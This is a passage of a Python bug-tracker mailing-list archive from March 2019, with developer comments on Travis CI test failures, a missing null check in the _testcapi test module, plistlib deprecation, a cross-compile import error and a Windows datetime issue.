Message-ID: <1553603631.04.0.807956074749.issue36345@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Would it me sense to use ".. literalinclude:: ../../Tools/scripts/serve.py" in the wsgi doc to keep serve.py and and this example up to date? It seems like serve.py is going to stay.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36345>
_______________________________________

From report at bugs.python.org  Tue Mar 26 08:35:32 2019
From: report at bugs.python.org (wangjiangqiang)
Date: Tue, 26 Mar 2019 12:35:32 +0000
Subject: [issue36436] Potential null pointer de-reference vulnerability
Message-ID: <1553603732.99.0.947384078311.issue36436@roundup.psfhosted.org>


New submission from wangjiangqiang <767563655 at qq.com>:

In Modules/_testcapimodule.c  line 4186 and 4187.
Allocated memory is used without null check.

----------
messages: 338875
nosy: wjq-security
priority: normal
severity: normal
status: open
title: Potential null pointer de-reference vulnerability
type: security

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36436>
_______________________________________

From report at bugs.python.org  Tue Mar 26 08:37:52 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 26 Mar 2019 12:37:52 +0000
Subject: [issue36414] Multiple test failures in GCC and Clang optional builds
 on Travis CI
In-Reply-To: <1553412920.81.0.155092332299.issue36414@roundup.psfhosted.org>
Message-ID: <1553603872.29.0.0950174246841.issue36414@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> https://travis-ci.org/python/cpython/jobs/510447289

This failure is on the master branch.

./python.exe  ./Tools/scripts/run_tests.py -j 1 -u all -W --slowest --fail-env-changed --timeout=1200 -j4 -uall,-cpu
ERROR:root:code for hash md5 was not found.
Traceback (most recent call last):
  File "/Users/travis/build/python/cpython/Lib/hashlib.py", line 244, in <module>
    globals()[__func_name] = __get_hash(__func_name)
  File "/Users/travis/build/python/cpython/Lib/hashlib.py", line 113, in __get_builtin_constructor
    raise ValueError('unsupported hash type ' + name)
ValueError: unsupported hash type md5
(...)

Travis CI config has been changed to use a more recent Ubuntu version, it can explain the failure.

commit 74ae50e53e59bbe39d6287b902757f0cd01327dc
Author: CAM Gerlach <CAM.Gerlach at Gerlach.CAM>
Date:   Mon Mar 18 05:44:58 2019 -0500

    bpo-36307: Travis: upgrade to Xenial environment (GH-12356)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36414>
_______________________________________

From report at bugs.python.org  Tue Mar 26 08:38:06 2019
From: report at bugs.python.org (SilentGhost)
Date: Tue, 26 Mar 2019 12:38:06 +0000
Subject: [issue36436] Potential null pointer de-reference vulnerability
In-Reply-To: <1553603732.99.0.947384078311.issue36436@roundup.psfhosted.org>
Message-ID: <1553603886.96.0.884822090675.issue36436@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
nosy: +vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36436>
_______________________________________

From report at bugs.python.org  Tue Mar 26 08:40:32 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 26 Mar 2019 12:40:32 +0000
Subject: [issue36414] Multiple test failures in GCC and Clang optional builds
 on Travis CI
In-Reply-To: <1553412920.81.0.155092332299.issue36414@roundup.psfhosted.org>
Message-ID: <1553604032.46.0.101478404174.issue36414@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> https://travis-ci.org/python/cpython/jobs/510447290

That's a run on the master branch ("CRON").

xvfb-run ./venv/bin/python -m coverage run --pylib -m test --fail-env-changed -uall,-cpu -x test_multiprocessing_fork -x test_multiprocessing_forkserver -x test_multiprocessing_spawn -x test_concurrent_futures
== CPython 3.8.0a2+ (heads/master:a7987e7, Mar 23 2019, 23:53:10) [GCC 5.4.0 20160609]
== Linux-4.15.0-1028-gcp-x86_64-with-glibc2.17 little-endian
== cwd: /home/travis/build/python/cpython/build/test_python_26699
== CPU count: 2
== encodings: locale=UTF-8, FS=utf-8
Run tests sequentially
0:00:00 load avg: 1.49 [  1/416] test_grammar
0:00:03 load avg: 1.45 [  2/416] test_opcodes
0:00:03 load avg: 1.45 [  3/416] test_dict
0:00:12 load avg: 1.41 [  4/416] test_builtin
0:00:18 load avg: 1.35 [  5/416] test_exceptions
Exception ignored in: <function ExceptionTests.test_unraisable.<locals>.BrokenDel.__del__ at 0x7f9e77198dc0>
Traceback (most recent call last):
  File "/home/travis/build/python/cpython/Lib/test/test_exceptions.py", line 1182, in __del__
    raise exc
ValueError: del is broken
Exception ignored in: <function ExceptionTests.test_unraisable.<locals>.BrokenExceptionDel.__del__ at 0x7f9e771988c0>
Traceback (most recent call last):
  File "/home/travis/build/python/cpython/Lib/test/test_exceptions.py", line 1188, in __del__
    raise exc
test.test_exceptions.BrokenStrException: <exception str() failed>
test test_exceptions failed -- multiple errors occurred; run in verbose mode for details
0:00:22 load avg: 1.35 [  6/416/1] test_types -- test_exceptions failed
test test_types failed -- Traceback (most recent call last):
  File "/home/travis/build/python/cpython/Lib/test/test_types.py", line 1433, in test_duck_gen
    self.assertIsInstance(gen, collections.abc.Generator)
AssertionError: <MagicMock spec='GenLike' id='140318583278608'> is not an instance of <class 'collections.abc.Generator'>

0:00:25 load avg: 1.32 [  7/416/2] test_unittest -- test_types failed
test test_unittest failed -- multiple errors occurred; run in verbose mode for details
0:01:33 load avg: 1.11 [  8/416/3] test_doctest -- test_unittest failed in 1 min 7 sec
0:01:50 load avg: 1.08 [  9/416/3] test_doctest2
0:01:50 load avg: 1.08 [ 10/416/3] test_support
0:02:11 load avg: 1.05 [ 11/416/3] test___all__
0:02:31 load avg: 1.04 [ 12/416/3] test___future__
0:02:32 load avg: 1.04 [ 13/416/3] test__locale
0:02:32 load avg: 1.04 [ 14/416/3] test__opcode
0:02:34 load avg: 1.03 [ 15/416/3] test__osx_support
0:02:34 load avg: 1.03 [ 16/416/3] test__xxsubinterpreters
Warning -- threading._dangling was modified by test__xxsubinterpreters
  Before: <_weakrefset.WeakSet object at 0x7f9e7751a160>
  After:  <_weakrefset.WeakSet object at 0x7f9e752abb20> 
0:02:50 load avg: 1.03 [ 17/416/4] test_abc -- test__xxsubinterpreters failed (env changed)
0:02:51 load avg: 1.03 [ 18/416/4] test_abstract_numbers
0:02:52 load avg: 1.03 [ 19/416/4] test_aifc
0:02:55 load avg: 1.02 [ 20/416/4] test_argparse
0:05:14 load avg: 1.02 [ 21/416/4] test_array -- test_argparse passed in 2 min 19 sec
0:05:38 load avg: 1.01 [ 22/416/4] test_asdl_parser
0:05:39 load avg: 1.01 [ 23/416/4] test_ast
0:05:51 load avg: 1.01 [ 24/416/4] test_asyncgen


0:05:54 load avg: 0.93 [ 25/416/4] test_asynchat
Warning -- threading_cleanup() failed to cleanup 0 threads (count: 0, dangling: 2)
Dangling thread: <echo_server(Thread-11, stopped 140318458308352)>
(...)
Dangling thread: <echo_server(Thread-43, stopped 140318458308352)>
Dangling thread: <_MainThread(MainThread, started 140318701401856)>
Dangling thread: <echo_server(Thread-19, stopped 140318458308352)>
Warning -- threading._dangling was modified by test_asynchat
  Before: <_weakrefset.WeakSet object at 0x7f9e70f061c0>
  After:  <_weakrefset.WeakSet object at 0x7f9e6fff7af0> 


0:15:10 load avg: 0.96 [ 26/416/5] test_asyncio -- test_asynchat failed (env changed) in 9 min 15 sec
Warning -- threading_cleanup() failed to cleanup 0 threads (count: 0, dangling: 2)
Dangling thread: <_MainThread(MainThread, started 140318701401856)>
Dangling thread: <Thread(ThreadPoolExecutor-0_0, stopped daemon 140318458308352)>
Warning -- threading_cleanup() failed to cleanup 0 threads (count: 0, dangling: 6)
Dangling thread: <Thread(Thread-46, stopped 140318458308352)>
Dangling thread: <Thread(Thread-47, stopped 140318458308352)>
Dangling thread: <Thread(Thread-48, stopped 140318458308352)>
(...)
Dangling thread: <Thread(ThreadPoolExecutor-8_6, stopped daemon 140318402094848)>
Dangling thread: <Thread(QueueManagerThread, stopped daemon 140318427272960)>
Dangling thread: <Thread(ThreadPoolExecutor-8_7, stopped daemon 140317923735296)>
Dangling thread: <Thread(ThreadPoolExecutor-16_0, stopped daemon 140318427272960)>
Dangling thread: <_MainThread(MainThread, started 140318701401856)>


The job exceeded the maximum time limit for jobs, and has been terminated.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36414>
_______________________________________

From report at bugs.python.org  Tue Mar 26 08:41:57 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Tue, 26 Mar 2019 12:41:57 +0000
Subject: [issue36436] Potential null pointer de-reference vulnerability
In-Reply-To: <1553603732.99.0.947384078311.issue36436@roundup.psfhosted.org>
Message-ID: <1553604117.92.0.20213530782.issue36436@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

_testcapimodule.c is mostly imported as _testcapi in tests. I am not sure this is a security issue.

----------
nosy: +serhiy.storchaka, xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36436>
_______________________________________

From report at bugs.python.org  Tue Mar 26 08:45:00 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 26 Mar 2019 12:45:00 +0000
Subject: [issue36414] Multiple test failures in GCC and Clang optional builds
 on Travis CI
In-Reply-To: <1553412920.81.0.155092332299.issue36414@roundup.psfhosted.org>
Message-ID: <1553604300.61.0.230060854185.issue36414@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> Possibly first occurrence of this error : https://travis-ci.org/python/cpython/jobs/506783665 after which it's more or less consistent.

That's the first build including my change:

commit 86082c22d23285995a32aabb491527c9f5629556
Author: Victor Stinner <vstinner at redhat.com>
Date:   Fri Mar 15 14:57:52 2019 +0100

    bpo-36235: Fix CFLAGS in distutils customize_compiler() (GH-12236)
    
    Fix CFLAGS in customize_compiler() of distutils.sysconfig: when the
    CFLAGS environment variable is defined, don't override CFLAGS variable with
    the OPT variable anymore.
    
    Initial patch written by David Malcolm.
    
    Co-Authored-By: David Malcolm <dmalcolm at redhat.com>

The build starts with:

Setting environment variables from .travis.yml
$ export OPENSSL=1.1.0i
$ export OPENSSL_DIR="$HOME/multissl/openssl/${OPENSSL}"
$ export PATH="${OPENSSL_DIR}/bin:$PATH"
$ export CFLAGS="-I${OPENSSL_DIR}/include -O3"
$ export LDFLAGS="-L${OPENSSL_DIR}/lib"
$ export LD_RUN_PATH="${OPENSSL_DIR}/lib"
$ export OPTIONAL=true

Extract of .travis.yml:

env:
  global:
    - OPENSSL=1.1.0i
    - OPENSSL_DIR="$HOME/multissl/openssl/${OPENSSL}"
    - PATH="${OPENSSL_DIR}/bin:$PATH"
    # Use -O3 because we don't use debugger on Travis-CI
    - CFLAGS="-I${OPENSSL_DIR}/include -O3"
    - LDFLAGS="-L${OPENSSL_DIR}/lib"
    # Set rpath with env var instead of -Wl,-rpath linker flag
    # OpenSSL ignores LDFLAGS when linking bin/openssl
    - LD_RUN_PATH="${OPENSSL_DIR}/lib"

Maybe it's a bad idea to set CFLAGS globally, and they should only set when building Python itself, not when building C extensions?

To be honest, I don't understand well the relationship between CFLAGS and new "Dangling thread: ..." errors. Maybe it's just unrelated.

Another question is why Travis CI is just fine on PR, but fails on "CRON" jobs?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36414>
_______________________________________

From report at bugs.python.org  Tue Mar 26 08:49:58 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 26 Mar 2019 12:49:58 +0000
Subject: [issue36436] Potential null pointer de-reference vulnerability
In-Reply-To: <1553603732.99.0.947384078311.issue36436@roundup.psfhosted.org>
Message-ID: <1553604598.79.0.0375054905804.issue36436@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
keywords: +patch
pull_requests: +12505
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36436>
_______________________________________

From report at bugs.python.org  Tue Mar 26 08:51:47 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 26 Mar 2019 12:51:47 +0000
Subject: [issue36436] _testcapi.pymem_buffer_overflow() doesn't handle memory
 allocation failure
In-Reply-To: <1553603732.99.0.947384078311.issue36436@roundup.psfhosted.org>
Message-ID: <1553604707.52.0.880250800252.issue36436@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> _testcapimodule.c is mostly imported as _testcapi in tests. I am not sure this is a security issue.

The function triggers a memory overflow on purpose. Handling memory allocation failure is the least of your problem if you call this function :-)

The whole module is designed to testing purpose only. "_" prefix in "_testapi" means that it must not be used. It's not documented on purpose.

Attached PR fix the bug.

----------
components: +Tests
title: Potential null pointer de-reference vulnerability -> _testcapi.pymem_buffer_overflow() doesn't handle memory allocation failure
type: security -> 
versions: +Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36436>
_______________________________________

From report at bugs.python.org  Tue Mar 26 08:52:41 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Tue, 26 Mar 2019 12:52:41 +0000
Subject: [issue36414] Multiple test failures in GCC and Clang optional builds
 on Travis CI
In-Reply-To: <1553412920.81.0.155092332299.issue36414@roundup.psfhosted.org>
Message-ID: <1553604761.43.0.623864642457.issue36414@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

https://bugs.python.org/issue36414#msg338876

> Travis CI config has been changed to use a more recent Ubuntu version, it can explain the failure.

I am confused since the commit changes the linux build to use xenial but the failure is on Mac OS X and it occurs even before the change to xenial that was committed on (March 18, 2019) . 

commit 74ae50e53e59bbe39d6287b902757f0cd01327dc
Author: CAM Gerlach <CAM.Gerlach at Gerlach.CAM>
Date:   Mon Mar 18 05:44:58 2019 -0500

Sample failure before the change : https://travis-ci.org/python/cpython/jobs/506168147 (March 14, 2019)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36414>
_______________________________________

From report at bugs.python.org  Tue Mar 26 08:53:49 2019
From: report at bugs.python.org (Jon Janzen)
Date: Tue, 26 Mar 2019 12:53:49 +0000
Subject: [issue36409] plistlib old API should be removed
In-Reply-To: <1553357509.76.0.695003516452.issue36409@roundup.psfhosted.org>
Message-ID: <1553604829.28.0.729588036959.issue36409@roundup.psfhosted.org>


Jon Janzen <jjjonjanzen at gmail.com> added the comment:

Ah, I misinterpreted PEP4. I thought it only applied to modules as a whole (e.g. plistlib) rather than individual functionality within that module. I'll close my PR and wait until 3.9 is accepting patches

----------
versions: +Python 3.9 -Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36409>
_______________________________________

From report at bugs.python.org  Tue Mar 26 08:55:39 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 26 Mar 2019 12:55:39 +0000
Subject: [issue22503] Signal stack overflow in faulthandler_user
In-Reply-To: <1411821697.8.0.131937255622.issue22503@psf.upfronthosting.co.za>
Message-ID: <1553604939.73.0.687935782855.issue22503@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Python 3 is built frequently on the Fedora infra on AArch64 and the test_faulthandler test doesn't fail there. Recent example of build:
https://koji.fedoraproject.org/koji/buildinfo?buildID=1236594

Direct link to AArch64 build logs (build.log):
https://kojipkgs.fedoraproject.org//packages/python3/3.7.2/5.fc29/data/logs/aarch64/build.log

Extract:

0:02:37 load avg: 5.99 [177/414] test_faulthandler passed (41 sec 925 ms) -- running: test_concurrent_futures (1 min 30 sec)
...
0:03:10 load avg: 10.21 [190/414] test_faulthandler passed (1 min 2 sec) -- running: test_gdb (44 sec 52 ms), test_concurrent_futures (1 min 56 sec)

The test is run on a Python compiled in release mode then on a Python compiled in debug mode. The test pass in both cases.

I close the issue. It seems like the bug has been fixed indirectly since this bug has been reported.

Thanks for your bug report Andreas Schwab :-)

----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue22503>
_______________________________________

From report at bugs.python.org  Tue Mar 26 08:56:05 2019
From: report at bugs.python.org (Chih-Hsuan Yen)
Date: Tue, 26 Mar 2019 12:56:05 +0000
Subject: [issue28190] Cross-build _curses failed if host ncurses headers and
 target ncurses headers have different layouts
In-Reply-To: <1474132808.23.0.788365161086.issue28190@psf.upfronthosting.co.za>
Message-ID: <1553604965.56.0.382274404313.issue28190@roundup.psfhosted.org>


Chih-Hsuan Yen <yan12125 at gmail.com> added the comment:

As ncurses-related modules in Python alreadu build fine for Android, I consider the issue resolved.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue28190>
_______________________________________

From report at bugs.python.org  Tue Mar 26 08:56:51 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 26 Mar 2019 12:56:51 +0000
Subject: [issue36435] multiprocessing crashes in Python 3.7.3 on Windows
In-Reply-To: <1553597367.39.0.880995955963.issue36435@roundup.psfhosted.org>
Message-ID: <1553605011.47.0.550108484779.issue36435@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

If you make the change suggested in the error text, does it fix it? (It could be clearer, but your module needs to only run its code when __name__=="__main__" instead of every time it gets imported.)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36435>
_______________________________________

From report at bugs.python.org  Tue Mar 26 09:13:00 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 26 Mar 2019 13:13:00 +0000
Subject: [issue36437] method_descriptor surprising error message when self is
 passed a keyword argument
Message-ID: <1553605980.78.0.197035304135.issue36437@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

_PyMethodDescr_FastCallKeywords() is an optimization in ceval.c to call methods. Problem: it introduces a wrong bug.

>>> import io
>>> help(io.FileIO.write)
Help on method_descriptor:

write(self, b, /)
    Write buffer b to file, return number of bytes written.

>>> f=io.FileIO("/dev/null", "wb")
>>> io.FileIO.write(f, b"data")  # ok
4

>>> io.FileIO.write(self=f, b=b"data") # ???
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: descriptor 'write' of '_io.FileIO' object needs an argument


io.FileIO.write is a "method_descriptor" builtin object. It's called from ceval.c call_function() using _PyMethodDescr_FastCallKeywords() which starts with:

    /* Make sure that the first argument is acceptable as 'self' */
    if (nargs < 1) {
        PyErr_Format(PyExc_TypeError,
                     "descriptor '%V' of '%.100s' "
                     "object needs an argument",
                     descr_name((PyDescrObject *)descr), "?",
                     PyDescr_TYPE(descr)->tp_name);
        return NULL;
    }
    self = args[0];

...

The bug is not a regression caused by the optimization. It exists in Python 3.6 which doesn't have the optimization:

$ python3.6
Python 3.6.8+ (heads/3.6:b241af861b, Mar 11 2019, 08:55:59) 
>>> import io
>>> f=io.FileIO("/dev/null", "wb")
>>> io.FileIO.write(f, b"data") # ok
4
>>> io.FileIO.write(self=f, b=b"data") # ???
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: descriptor 'write' of '_io.FileIO' object needs an argument

Extract of Python 3.6 methoddescr_call():

    /* Make sure that the first argument is acceptable as 'self' */
    assert(PyTuple_Check(args));
    argc = PyTuple_GET_SIZE(args);
    if (argc < 1) {
        PyErr_Format(PyExc_TypeError,
                     "descriptor '%V' of '%.100s' "
                     "object needs an argument",
                     descr_name((PyDescrObject *)descr), "?",
                     PyDescr_TYPE(descr)->tp_name);
        return NULL;
    }
    self = PyTuple_GET_ITEM(args, 0);

Python 2.7 raises the same exception, but the docstring is different:

$ python2
Python 2.7.15 (default, Oct 15 2018, 15:26:09) 
>>> import io
>>> f=io.FileIO("/dev/null", "wb")
>>> io.FileIO.write(f, b"data")
4L
>>> io.FileIO.write(self=f, b=b"data")
TypeError: descriptor 'write' of '_io.FileIO' object needs an argument
>>> help(io.FileIO.write)
write(...)
    write(b) -> int.  Write array of bytes b, return number written.

--

At this point, it's unclear to me if it's a bug... of a feature :-)

It seems like self is a positional-only argument, but the error message isn't helpful.

----------
messages: 338886
nosy: pablogsal, vstinner
priority: normal
severity: normal
status: open
title: method_descriptor surprising error message when self is passed a keyword argument
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36437>
_______________________________________

From report at bugs.python.org  Tue Mar 26 09:14:21 2019
From: report at bugs.python.org (Paul Moore)
Date: Tue, 26 Mar 2019 13:14:21 +0000
Subject: [issue36435] multiprocessing crashes in Python 3.7.3 on Windows
In-Reply-To: <1553597367.39.0.880995955963.issue36435@roundup.psfhosted.org>
Message-ID: <1553606061.5.0.0732177722623.issue36435@roundup.psfhosted.org>


Paul Moore <p.f.moore at gmail.com> added the comment:

Oh doh. That's what I get for trying to produce a minimal test case without thinking :-(

Thanks for the pointer. I originally hit this (or what I thought was this) in pipx - see https://github.com/pipxproject/pipx/issues/122 but then tried a smaller test, misread the error as being the same (there's so much noise when the subprocesses fail!) and reported it here without sufficient checking.

Thanks, and my apologies for the noise!

----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36435>
_______________________________________

From report at bugs.python.org  Tue Mar 26 09:35:45 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 26 Mar 2019 13:35:45 +0000
Subject: [issue36436] _testcapi.pymem_buffer_overflow() doesn't handle memory
 allocation failure
In-Reply-To: <1553603732.99.0.947384078311.issue36436@roundup.psfhosted.org>
Message-ID: <1553607345.38.0.339420219442.issue36436@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 414b1cde93764cdabb0798b02af4dd7df954424d by Victor Stinner in branch 'master':
bpo-36436: Fix _testcapi.pymem_buffer_overflow() (GH-12560)
https://github.com/python/cpython/commit/414b1cde93764cdabb0798b02af4dd7df954424d


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36436>
_______________________________________

From report at bugs.python.org  Tue Mar 26 09:35:49 2019
From: report at bugs.python.org (miss-islington)
Date: Tue, 26 Mar 2019 13:35:49 +0000
Subject: [issue36436] _testcapi.pymem_buffer_overflow() doesn't handle memory
 allocation failure
In-Reply-To: <1553603732.99.0.947384078311.issue36436@roundup.psfhosted.org>
Message-ID: <1553607349.0.0.685818611181.issue36436@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12506

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36436>
_______________________________________

From report at bugs.python.org  Tue Mar 26 09:39:57 2019
From: report at bugs.python.org (Matthias Klose)
Date: Tue, 26 Mar 2019 13:39:57 +0000
Subject: [issue28190] Cross-build _curses failed if host ncurses headers and
 target ncurses headers have different layouts
In-Reply-To: <1474132808.23.0.788365161086.issue28190@psf.upfronthosting.co.za>
Message-ID: <1553607597.26.0.656577809325.issue28190@roundup.psfhosted.org>


Matthias Klose <doko at debian.org> added the comment:

no, please don't assume that if it builds for one cross build variant, that it builds for all. re-opening.

----------
resolution: fixed -> 
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue28190>
_______________________________________

From report at bugs.python.org  Tue Mar 26 09:48:33 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 26 Mar 2019 13:48:33 +0000
Subject: [issue36409] plistlib old API should be removed
In-Reply-To: <1553357509.76.0.695003516452.issue36409@roundup.psfhosted.org>
Message-ID: <1553608113.42.0.323040446336.issue36409@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

Yes, this is mainly about modules, but in general we try to be more careful with removing features that do not have alternatives in 2.7. In this particular case, the benefit from removing the deprecated functions in 3.8 instead of 3.9 is small, but this will make harder writing 2+3 compatible code.

In any case this is on to the module maintainer, Ronald.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36409>
_______________________________________

From report at bugs.python.org  Tue Mar 26 09:55:24 2019
From: report at bugs.python.org (Brian Spratke)
Date: Tue, 26 Mar 2019 13:55:24 +0000
Subject: [issue36438] Python 3.5.7 import error on Cross compile
Message-ID: <1553608524.58.0.377430259995.issue36438@roundup.psfhosted.org>


New submission from Brian Spratke <spratke at gmail.com>:

I apologize if this is a stupid question, but I am not very experienced building Python, or cross compiling.

While trying to cross compile Python 3.5.7 I can run configure, and make, but when I try to run 'make install' it throws the error posted below.  I was able to build with 3.5.1, but it appears that weakref.py has been added since then.  I think a lot of my problem is not understanding what the 'make install' step is doing.  Is it using python that is install on my Ubuntu machine? Is it trying to do another build step? Any help would be greatly appreciated.


Could not import runpy module
Traceback (most recent call last):
  File "./Lib/runpy.py", line 14, in <module>
    import importlib.machinery # importlib first so we can test #15386 via -m
  File "./Lib/importlib/__init__.py", line 57, in <module>
    import types
  File "./Lib/types.py", line 166, in <module>
    import functools as _functools
  File "./Lib/functools.py", line 23, in <module>
    from weakref import WeakKeyDictionary
  File "./Lib/weakref.py", line 12, in <module>
    from _weakref import (
ImportError: cannot import name '_remove_dead_weakref'
make[1]: *** [pybuilddir.txt] Error 1
make: *** [python-3.5.7] Error 1

----------
components: Cross-Build
messages: 338891
nosy: Alex.Willmer, Brian Spratke
priority: normal
severity: normal
status: open
title: Python 3.5.7 import error on Cross compile
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36438>
_______________________________________

From report at bugs.python.org  Tue Mar 26 09:55:36 2019
From: report at bugs.python.org (Brian Spratke)
Date: Tue, 26 Mar 2019 13:55:36 +0000
Subject: [issue36438] Python 3.5.7 import error on Cross compile
In-Reply-To: <1553608524.58.0.377430259995.issue36438@roundup.psfhosted.org>
Message-ID: <1553608536.84.0.911658571636.issue36438@roundup.psfhosted.org>


Change by Brian Spratke <spratke at gmail.com>:


----------
type:  -> compile error

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36438>
_______________________________________

From report at bugs.python.org  Tue Mar 26 10:10:31 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 26 Mar 2019 14:10:31 +0000
Subject: [issue36345] Deprecate Tools/scripts/serve.py in favour of python -m
 http.server -d
In-Reply-To: <1552917459.29.0.295748589939.issue36345@roundup.psfhosted.org>
Message-ID: <1553609431.6.0.668472218988.issue36345@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
pull_requests: +12507

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36345>
_______________________________________

From report at bugs.python.org  Tue Mar 26 11:17:30 2019
From: report at bugs.python.org (Paul Moore)
Date: Tue, 26 Mar 2019 15:17:30 +0000
Subject: [issue35872] Creating venv from venv no longer works in 3.7.2
In-Reply-To: <1549010953.4.0.913686801166.issue35872@roundup.psfhosted.org>
Message-ID: <1553613450.84.0.422553286684.issue35872@roundup.psfhosted.org>


Paul Moore <p.f.moore at gmail.com> added the comment:

See https://github.com/pypa/virtualenv/issues/1339 - it's possible that something in this area is still affecting virtualenv.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35872>
_______________________________________

From report at bugs.python.org  Tue Mar 26 11:18:26 2019
From: report at bugs.python.org (=?utf-8?q?Micka=C3=ABl_Schoentgen?=)
Date: Tue, 26 Mar 2019 15:18:26 +0000
Subject: [issue36439] [Windows] datetime.fromtimestamp(t) when t < 0 fails on
 Python 3.6
Message-ID: <1553613506.18.0.935251324399.issue36439@roundup.psfhosted.org>


New submission from Micka?l Schoentgen <contact at tiger-222.fr>:

A similar issue was resolved with issue29097 (with 0 <= t <= 86399).

Here, we have an inconsistency between OSes when using datetime.fromtimestamp(t) when t < 0.
Tested on Python 3.6.7.

GNU/Linux:

>>> datetime.fromtimestamp(-1)
datetime.datetime(1970, 1, 1, 0, 59, 59)

macOS:

>>> datetime.fromtimestamp(-1)
datetime.datetime(1970, 1, 1, 0, 59, 59)

Windows (7 and 10):

>>> datetime.fromtimestamp(-1)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
OSError: [Errno 22] Invalid argument


I think having a similar behavior between all Oses would be great, right?

----------
messages: 338893
nosy: Tiger-222
priority: normal
severity: normal
status: open
title: [Windows] datetime.fromtimestamp(t) when t < 0 fails on Python 3.6
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36439>
_______________________________________

From report at bugs.python.org  Tue Mar 26 11:19:31 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 26 Mar 2019 15:19:31 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1553613571.82.0.358888605963.issue36301@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12508

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Tue Mar 26 11:21:11 2019
From: report at bugs.python.org (miss-islington)
Date: Tue, 26 Mar 2019 15:21:11 +0000
Subject: [issue36436] _testcapi.pymem_buffer_overflow() doesn't handle memory
 allocation failure
In-Reply-To: <1553603732.99.0.947384078311.issue36436@roundup.psfhosted.org>
Message-ID: <1553613671.8.0.732233690917.issue36436@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12509

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36436>
_______________________________________

From report at bugs.python.org  Tue Mar 26 11:22:17 2019
From: report at bugs.python.org (=?utf-8?q?Micka=C3=ABl_Schoentgen?=)
Date: Tue, 26 Mar 2019 15:22:17 +0000
